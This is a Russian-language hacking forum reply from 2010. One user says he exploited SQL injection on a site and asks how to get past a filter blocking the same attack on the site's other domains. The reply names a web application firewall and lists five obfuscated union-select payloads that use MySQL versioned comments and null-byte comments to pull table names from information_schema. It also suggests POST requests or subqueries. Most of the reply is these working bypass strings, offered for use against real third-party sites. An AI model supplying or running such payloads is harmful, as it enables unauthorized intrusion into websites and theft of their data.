08.08.2010, 17:55
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами:
8772211
Репутация:
56
|
|
Сообщение от SEWERN
нашел скул на одном сайте , раскрутил все норм. потом узнал что есть тот же домен на других зонах .ca u .com , на них стоит тот же двиг но при попытке заюзать скул (+union+select и тд) выдает
"Forbidden
You don't have permission to access /index.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request." и так везде ((
можно както обойти фильтр ?
WAF, судя по всему.
Некоторые варианты из многих возможных:
Код HTML:
-9999+/*!12345union*/+/*!12345select*/+1,2,table_name,4,5+/*!12345from*/+information_schema.tables
Код HTML:
-9999+/*!union+select+1,2,table_name,4,5+from+information_schema.tables*/
Код HTML:
-9999+/*%00*/union/*%00*/+/*%00*/select/*%00*/+1,2,table_name,4,5+/*%00*/from/*%00*/+information_schema.tables
Код HTML:
-9999+/*!union*/+/*!select*/+1,2,table_name,4,5+/*!from*/+information_schema.tables
Код HTML:
-9999/*!union+select+1,2,table_name,4,5+'aaa'from+information_schema.tables*/
Либо если есть возможность, то отправлять POST' ом, либо подзапросы.
|
|
|